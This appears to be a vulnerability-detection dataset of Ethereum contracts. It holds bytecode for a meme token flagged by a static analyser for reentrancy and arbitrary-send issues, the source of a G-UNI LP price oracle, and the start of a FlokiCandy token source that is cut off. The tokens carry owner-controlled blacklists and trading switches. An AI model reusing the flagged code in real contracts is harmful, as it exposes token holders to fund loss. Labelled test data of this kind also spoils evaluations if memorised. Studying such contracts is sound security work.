0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057b578063dd62ed3e1461059b578063ea1644d5146105e1578063f2fde38b1461060157600080fd5b8063a2a957bb146104f6578063a9059cbb14610516578063bfd7928414610536578063c3c8cd801461056657600080fd5b80638f70ccf7116100d15780638f70ccf7146104725780638f9a55c01461049257806395d89b41146104a857806398a5c315146104d657600080fd5b80637d1db4a5146103fc5780637f2feddc146104125780638203f5fe1461043f5780638da5cb5b1461045457600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039257806370a08231146103a7578063715018a6146103c757806374010ece146103dc57600080fd5b8063313ce5671461031657806349bd5a5e146103325780636b999053146103525780636d8aa8f81461037257600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e05780632fd689e31461030057600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a00565b610621565b005b34801561021557600080fd5b5060408051808201909152601081526f53757276657920436f72707320496e7560801b60208201525b60405161024b9190611ac5565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611b1a565b6106c0565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b5066038d7ea4c680005b60405190815260200161024b565b3480156102ec57600080fd5b506102746102fb366004611b46565b6106d7565b34801561030c57600080fd5b506102d260175481565b34801561032257600080fd5b506040516009815260200161024b565b34801561033e57600080fd5b506014546102a4906001600160a01b031681565b34801561035e57600080fd5b5061020761036d366004611b87565b610740565b34801561037e57600080fd5b5061020761038d366004611bb4565b61078b565b34801561039e57600080fd5b506102076107d3565b3480156103b357600080fd5b506102d26103c2366004611b87565b610800565b3480156103d357600080fd5b50610207610822565b3480156103e857600080fd5b506102076103f7366004611bcf565b610896565b34801561040857600080fd5b506102d260155481565b34801561041e57600080fd5b506102d261042d366004611b87565b60116020526000908152604090205481565b34801561044b57600080fd5b506102076108d8565b34801561046057600080fd5b506000546001600160a01b03166102a4565b34801561047e57600080fd5b5061020761048d366004611bb4565b610a90565b34801561049e57600080fd5b506102d260165481565b3480156104b457600080fd5b506040805180820190915260058152645343494e5560d81b602082015261023e565b3480156104e257600080fd5b506102076104f1366004611bcf565b610aef565b34801561050257600080fd5b50610207610511366004611be8565b610b1e565b34801561052257600080fd5b50610274610531366004611b1a565b610b78565b34801561054257600080fd5b50610274610551366004611b87565b60106020526000908152604090205460ff1681565b34801561057257600080fd5b50610207610b85565b34801561058757600080fd5b50610207610596366004611c1a565b610bbb565b3480156105a757600080fd5b506102d26105b6366004611c9e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ed57600080fd5b506102076105fc366004611bcf565b610c5c565b34801561060d57600080fd5b5061020761061c366004611b87565b610c8b565b6000546001600160a01b031633146106545760405162461bcd60e51b815260040161064b90611cd7565b60405180910390fd5b60005b81518110156106bc5760016010600084848151811061067857610678611d0c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b481611d38565b915050610657565b5050565b60006106cd338484610d75565b5060015b92915050565b60006106e4848484610e99565b610736843361073185604051806060016040528060288152602001611e52602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061129f565b610d75565b5060019392505050565b6000546001600160a01b0316331461076a5760405162461bcd60e51b815260040161064b90611cd7565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b55760405162461bcd60e51b815260040161064b90611cd7565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f357600080fd5b476107fd816112d9565b50565b6001600160a01b0381166000908152600260205260408120546106d190611313565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161064b90611cd7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161064b90611cd7565b6611c37937e0800081116108d357600080fd5b601555565b6000546001600160a01b031633146109025760405162461bcd60e51b815260040161064b90611cd7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b9190611d53565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fc9190611d53565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6d9190611d53565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aba5760405162461bcd60e51b815260040161064b90611cd7565b601454600160a01b900460ff1615610ad157600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b195760405162461bcd60e51b815260040161064b90611cd7565b601755565b6000546001600160a01b03163314610b485760405162461bcd60e51b815260040161064b90611cd7565b60095482111580610b5b5750600b548111155b610b6457600080fd5b600893909355600a91909155600955600b55565b60006106cd338484610e99565b6012546001600160a01b0316336001600160a01b031614610ba557600080fd5b6000610bb030610800565b90506107fd81611397565b6000546001600160a01b03163314610be55760405162461bcd60e51b815260040161064b90611cd7565b60005b82811015610c56578160056000868685818110610c0757610c07611d0c565b9050602002016020810190610c1c9190611b87565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4e81611d38565b915050610be8565b50505050565b6000546001600160a01b03163314610c865760405162461bcd60e51b815260040161064b90611cd7565b601655565b6000546001600160a01b03163314610cb55760405162461bcd60e51b815260040161064b90611cd7565b6001600160a01b038116610d1a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064b565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064b565b6001600160a01b038216610f5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064b565b60008111610f6c57600080fd5b6000546001600160a01b03848116911614801590610f9857506000546001600160a01b03838116911614155b1561119857601454600160a01b900460ff16611031576000546001600160a01b038481169116146110315760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064b565b60155481111561104057600080fd5b6001600160a01b03831660009081526010602052604090205460ff1615801561108257506001600160a01b03821660009081526010602052604090205460ff16155b61108b57600080fd5b6014546001600160a01b038381169116146110c157601654816110ad84610800565b6110b79190611d70565b106110c157600080fd5b60006110cc30610800565b6017546015549192508210159082106110e55760155491505b8080156110fc5750601454600160a81b900460ff16155b801561111657506014546001600160a01b03868116911614155b801561112b5750601454600160b01b900460ff165b801561115057506001600160a01b03851660009081526005602052604090205460ff16155b801561117557506001600160a01b03841660009081526005602052604090205460ff16155b156111955761118382611397565b47801561119357611193476112d9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111da57506001600160a01b03831660009081526005602052604090205460ff165b8061120c57506014546001600160a01b0385811691161480159061120c57506014546001600160a01b03848116911614155b1561121957506000611293565b6014546001600160a01b03858116911614801561124457506013546001600160a01b03848116911614155b1561125657600854600c55600954600d555b6014546001600160a01b03848116911614801561128157506013546001600160a01b03858116911614155b1561129357600a54600c55600b54600d555b610c5684848484611511565b600081848411156112c35760405162461bcd60e51b815260040161064b9190611ac5565b5060006112d08486611d88565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bc573d6000803e3d6000fd5b600060065482111561137a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064b565b600061138461153f565b90506113908382611562565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113df576113df611d0c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611438573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145c9190611d53565b8160018151811061146f5761146f611d0c565b6001600160a01b0392831660209182029290920101526013546114959130911684610d75565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ce908590600090869030904290600401611d9f565b600060405180830381600087803b1580156114e857600080fd5b505af11580156114fc573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061151e5761151e6115a4565b6115298484846115d2565b80610c5657610c56600e54600c55600f54600d55565b600080600061154c6116c9565b909250905061155b8282611562565b9250505090565b600061139083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611707565b600c541580156115b45750600d54155b156115bb57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115e487611735565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116169087611792565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461164590866117d4565b6001600160a01b03891660009081526002602052604090205561166781611833565b611671848361187d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116b691815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006116e38282611562565b8210156116fe5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836117285760405162461bcd60e51b815260040161064b9190611ac5565b5060006112d08486611e10565b60008060008060008060008060006117528a600c54600d546118a1565b925092509250600061176261153f565b905060008060006117758e8787876118f6565b919e509c509a509598509396509194505050505091939550919395565b600061139083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061129f565b6000806117e18385611d70565b9050838110156113905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064b565b600061183d61153f565b9050600061184b8383611946565b3060009081526002602052604090205490915061186890826117d4565b30600090815260026020526040902055505050565b60065461188a9083611792565b60065560075461189a90826117d4565b6007555050565b60008080806118bb60646118b58989611946565b90611562565b905060006118ce60646118b58a89611946565b905060006118e6826118e08b86611792565b90611792565b9992985090965090945050505050565b60008080806119058886611946565b905060006119138887611946565b905060006119218888611946565b90506000611933826118e08686611792565b939b939a50919850919650505050505050565b600082611955575060006106d1565b60006119618385611e32565b90508261196e8583611e10565b146113905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b80356119fb816119db565b919050565b60006020808385031215611a1357600080fd5b823567ffffffffffffffff80821115611a2b57600080fd5b818501915085601f830112611a3f57600080fd5b813581811115611a5157611a516119c5565b8060051b604051601f19603f83011681018181108582111715611a7657611a766119c5565b604052918252848201925083810185019188831115611a9457600080fd5b938501935b82851015611ab957611aaa856119f0565b84529385019392850192611a99565b98975050505050505050565b600060208083528351808285015260005b81811015611af257858101830151858201604001528201611ad6565b81811115611b04576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b2d57600080fd5b8235611b38816119db565b946020939093013593505050565b600080600060608486031215611b5b57600080fd5b8335611b66816119db565b92506020840135611b76816119db565b929592945050506040919091013590565b600060208284031215611b9957600080fd5b8135611390816119db565b803580151581146119fb57600080fd5b600060208284031215611bc657600080fd5b61139082611ba4565b600060208284031215611be157600080fd5b5035919050565b60008060008060808587031215611bfe57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c2f57600080fd5b833567ffffffffffffffff80821115611c4757600080fd5b818601915086601f830112611c5b57600080fd5b813581811115611c6a57600080fd5b8760208260051b8501011115611c7f57600080fd5b602092830195509350611c959186019050611ba4565b90509250925092565b60008060408385031215611cb157600080fd5b8235611cbc816119db565b91506020830135611ccc816119db565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d4c57611d4c611d22565b5060010190565b600060208284031215611d6557600080fd5b8151611390816119db565b60008219821115611d8357611d83611d22565b500190565b600082821015611d9a57611d9a611d22565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611def5784516001600160a01b031683529383019391830191600101611dca565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e2d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e4c57611e4c611d22565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ae2aa9888bda9cd74e5ce31012985829e68241e70c83a2e72d2fab18942d4f264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,539
0x0719B21Ffc5d7fb46b9F74301149ed035790CC96
/** *Submitted for verification at Etherscan.io on 2021-11-24 */ // SPDX-License-Identifier: AGPL-3.0-or-later /// GUniOracle.sol // based heavily on GUniLPOracle.sol from MakerDAO // found here: https://github.com/makerdao/univ3-lp-oracle/blob/master/src/GUniLPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // We derive the sqrtPriceX96 via Chainlink Oracles to prevent price manipulation in the pool: // // p0 = price of token0 in USD (18 decimal precision) // p1 = price of token1 in USD (18 decimal precision) // UNITS_0 = decimals of token0 // UNITS_1 = decimals of token1 // // token1/token0 = (p0 / 10^UNITS_0) / (p1 / 10^UNITS_1) [price ratio, Uniswap format] // = (p0 * 10^UNITS_1) / (p1 * 10^UNITS_0) // // sqrtPriceX96 = sqrt(token1/token0) * 2^96 [From Uniswap's definition] // = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^96 // = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^48 * 2^48 // = sqrt((p0 * 10^UNITS_1 * 2^96) / (p1 * 10^UNITS_0)) * 2^48 // // Once we have the sqrtPriceX96 we can use that to compute the fair reserves for each token. // This part may be slightly subjective depending on the implementation, // but we expect token to provide something like getUnderlyingBalancesAtPrice(uint160 sqrtPriceX96) // which will forward our oracle derived `sqrtPriceX96` // to Uniswap's LiquidityAmounts.getAmountsForLiquidity(...) // This function will return the fair reserves for each token. // Vendor-specific logic is then used to tack any uninvested fees on top of those amounts. // // Once we have the fair reserves and the prices we can compute the token price by: // // Token Price = TVL / Token Supply // = (r0 * p0 + r1 * p1) / totalSupply pragma solidity =0.6.12; interface IExtendedAggregator { enum TokenType {Invalid, Simple, Complex} enum PlatformId {Invalid, Simple, Uniswap, Balancer, GUni} /** * @dev Returns the LP shares token * @return address of the LP shares token */ function getToken() external view returns (address); /** * @dev Returns the number of tokens that composes the LP shares * @return address[] memory of token addresses */ function getSubTokens() external view returns (address[] memory); /** * @dev Returns the latest price * @return int256 price */ function latestAnswer() external view returns (int256); /** * @dev Returns the decimals of latestAnswer() * @return uint8 */ function decimals() external pure returns (uint8); /** * @dev Returns the platform id to categorize the price aggregator * @return uint256 1 = Uniswap, 2 = Balancer, 3 = G-UNI */ function getPlatformId() external pure returns (PlatformId); /** * @dev Returns token type for categorization * @return uint256 1 = Simple (Native or plain ERC20s), 2 = Complex (LP Tokens, Staked tokens) */ function getTokenType() external pure returns (TokenType); } interface IGUniPool { function token0() external view returns (address); function token1() external view returns (address); function getUnderlyingBalancesAtPrice(uint160) external view returns (uint256, uint256); function getUnderlyingBalances() external view returns (uint256, uint256); function totalSupply() external view returns (uint256); } contract GUniOracle is IExtendedAggregator { // solhint-disable private-vars-leading-underscore, var-name-mixedcase uint256 private immutable UNIT_0; uint256 private immutable UNIT_1; uint256 private immutable TO_WAD_0; uint256 private immutable TO_WAD_1; uint256 private immutable TO_WAD_ORACLE_0; uint256 private immutable TO_WAD_ORACLE_1; address public immutable pool; address public immutable priceFeed0; address public immutable priceFeed1; constructor(address _pool, address _feed0, address _feed1) public { uint256 dec0 = uint256(IExtendedAggregator(IGUniPool(_pool).token0()).decimals()); require(dec0 <= 18, "token0-dec-gt-18"); UNIT_0 = 10 ** dec0; TO_WAD_0 = 10 ** (18 - dec0); uint256 dec1 = uint256(IExtendedAggregator(IGUniPool(_pool).token1()).decimals()); require(dec1 <= 18, "token1-dec-gt-18"); UNIT_1 = 10 ** dec1; TO_WAD_1 = 10 ** (18 - dec1); uint256 decOracle0 = uint256(IExtendedAggregator(_feed0).decimals()); require(decOracle0 <= 18, "oracle0-dec-gt-18"); TO_WAD_ORACLE_0 = 10 ** (18 - decOracle0); uint256 decOracle1 = uint256(IExtendedAggregator(_feed1).decimals()); require(decOracle1 <= 18, "oracle1-dec-gt-18"); TO_WAD_ORACLE_1 = 10 ** (18 - decOracle1); pool = _pool; priceFeed0 = _feed0; priceFeed1 = _feed1; } function latestAnswer() external view override returns (int256) { // All Oracle prices are priced with 18 decimals against USD uint256 p0 = _getWADPrice(true); // Query token0 price from oracle (WAD) uint256 p1 = _getWADPrice(false); // Query token1 price from oracle (WAD) uint160 sqrtPriceX96 = _toUint160(_sqrt(_mul(_mul(p0, UNIT_1), (1 << 96)) / (_mul(p1, UNIT_0))) << 48); // Get balances of the tokens in the pool (uint256 r0, uint256 r1) = IGUniPool(pool).getUnderlyingBalancesAtPrice(sqrtPriceX96); require(r0 > 0 || r1 > 0, "invalid-balances"); uint256 totalSupply = IGUniPool(pool).totalSupply(); // Protect against precision errors with dust-levels of collateral require(totalSupply >= 1e9, "total-supply-too-small"); // Add the total value of each token together and divide by totalSupply to get unit price uint256 preq = _add( _mul(p0, _mul(r0, TO_WAD_0)), _mul(p1, _mul(r1, TO_WAD_1)) ) / totalSupply; return int256(preq); } function getToken() external view override returns (address) { return pool; } function getSubTokens() external view override returns (address[] memory) { address[] memory arr = new address[](2); arr[0] = IGUniPool(pool).token0(); arr[1] = IGUniPool(pool).token1(); return arr; } function getPlatformId() external pure override returns (IExtendedAggregator.PlatformId) { return IExtendedAggregator.PlatformId.GUni; } function getTokenType() external pure override returns (IExtendedAggregator.TokenType) { return IExtendedAggregator.TokenType.Complex; } function decimals() external pure override returns (uint8) { return 18; } function _getWADPrice(bool isToken0) internal view returns (uint256) { int256 price = IExtendedAggregator(isToken0 ? priceFeed0 : priceFeed1).latestAnswer(); require(price > 0, "negative-price"); return _mul(uint256(price), isToken0 ? TO_WAD_ORACLE_0 : TO_WAD_ORACLE_1); } function _add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "add-overflow"); } function _sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "sub-underflow"); } function _mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "mul-overflow"); } function _toUint160(uint256 x) internal pure returns (uint160 z) { require((z = uint160(x)) == x, "uint160-overflow"); } // solhint-disable-next-line max-line-length // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 // solhint-disable-next-line code-complexity function _sqrt(uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063385aee1b11610066578063385aee1b1461013a5780634b0ca9731461014257806350d25bcd1461016b578063ab0ca0e114610185578063fcab18191461018d57610093565b806316f0115b1461009857806321df0da7146100bc57806325f33d76146100c4578063313ce5671461011c575b600080fd5b6100a06101a5565b604080516001600160a01b039092168252519081900360200190f35b6100a06101c9565b6100cc6101ed565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101085781810151838201526020016100f0565b505050509050019250505060405180910390f35b610124610374565b6040805160ff9092168252519081900360200190f35b6100a0610379565b61014a61039d565b6040518082600481111561015a57fe5b815260200191505060405180910390f35b6101736103a2565b60408051918252519081900360200190f35b6100a06106a6565b6101956106ca565b6040518082600281111561015a57fe5b7f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e81565b7f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e90565b6040805160028082526060808301845292839291906020830190803683370190505090507f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e6001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561026a57600080fd5b505afa15801561027e573d6000803e3d6000fd5b505050506040513d602081101561029457600080fd5b5051815182906000906102a357fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e6001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561031c57600080fd5b505afa158015610330573d6000803e3d6000fd5b505050506040513d602081101561034657600080fd5b505181518290600190811061035757fe5b6001600160a01b0390921660209283029190910190910152905090565b601290565b7f000000000000000000000000aed0c38402a5d19df6e4c03f4e2dced6e29c1ee981565b600490565b6000806103af60016106cf565b905060006103bd60006106cf565b9050600061045060306104376103f3857f0000000000000000000000000000000000000000000000000de0b6b3a7640000610829565b61042a610420887f00000000000000000000000000000000000000000000000000000000000f4240610829565b600160601b610829565b8161043157fe5b0461088a565b6001600160801b0316901b6001600160801b03166109d1565b90506000807f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e6001600160a01b031663b670ed7d846040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050604080518083038186803b1580156104c157600080fd5b505afa1580156104d5573d6000803e3d6000fd5b505050506040513d60408110156104eb57600080fd5b5080516020909101519092509050811515806105075750600081115b61054b576040805162461bcd60e51b815260206004820152601060248201526f696e76616c69642d62616c616e63657360801b604482015290519081900360640190fd5b60007f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105a657600080fd5b505afa1580156105ba573d6000803e3d6000fd5b505050506040513d60208110156105d057600080fd5b50519050633b9aca00811015610626576040805162461bcd60e51b81526020600482015260166024820152751d1bdd185b0b5cdd5c1c1b1e4b5d1bdbcb5cdb585b1b60521b604482015290519081900360640190fd5b60008161069261065f8961065a887f0000000000000000000000000000000000000000000000000000000000000001610829565b610829565b61068d8961065a887f000000000000000000000000000000000000000000000000000000e8d4a51000610829565b610a22565b8161069957fe5b0497505050505050505090565b7f0000000000000000000000008fffffd4afb6115b954bd326cbe7b4ba576818f681565b600290565b600080826106fd577f0000000000000000000000008fffffd4afb6115b954bd326cbe7b4ba576818f661071f565b7f000000000000000000000000aed0c38402a5d19df6e4c03f4e2dced6e29c1ee95b6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561075757600080fd5b505afa15801561076b573d6000803e3d6000fd5b505050506040513d602081101561078157600080fd5b50519050600081136107cb576040805162461bcd60e51b815260206004820152600e60248201526d6e656761746976652d707269636560901b604482015290519081900360640190fd5b61082081846107fa577f00000000000000000000000000000000000000000000000000000002540be40061065a565b7f00000000000000000000000000000000000000000000000000000002540be400610829565b9150505b919050565b60008115806108445750508082028282828161084157fe5b04145b610884576040805162461bcd60e51b815260206004820152600c60248201526b6d756c2d6f766572666c6f7760a01b604482015290519081900360640190fd5b92915050565b60008161089957506000610824565b816001600160801b82106108b25760809190911c9060401b5b6801000000000000000082106108cd5760409190911c9060201b5b64010000000082106108e45760209190911c9060101b5b6201000082106108f95760109190911c9060081b5b610100821061090d5760089190911c9060041b5b601082106109205760049190911c9060021b5b6008821061092c5760011b5b600181858161093757fe5b048201901c9050600181858161094957fe5b048201901c9050600181858161095b57fe5b048201901c9050600181858161096d57fe5b048201901c9050600181858161097f57fe5b048201901c9050600181858161099157fe5b048201901c905060018185816109a357fe5b048201901c905060008185816109b557fe5b0490508082106109c557806109c7565b815b9350505050610824565b806001600160a01b0381168114610824576040805162461bcd60e51b815260206004820152601060248201526f75696e743136302d6f766572666c6f7760801b604482015290519081900360640190fd5b80820182811015610884576040805162461bcd60e51b815260206004820152600c60248201526b6164642d6f766572666c6f7760a01b604482015290519081900360640190fdfea26469706673582212207bc79256cf247d63ce1f8776b821905908ee9f2ad2ab1bd53bf9a10bc37d84a064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,540
0xb5ff3b63879b9915306a1218358a0c75bdcaa281
//FlokiCandy //Telegram: https://t.me/Flokicandy //2% Deflationary yes //CG, CMC listing: Ongoing //Fair Launch //Community Driven - 100% Community Owned! // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FlokiCandy is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Flokicandy| t.me/FlokiCandy"; string private constant _symbol = "FlokiCan \xF0\x9F\x8D\xAC"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private 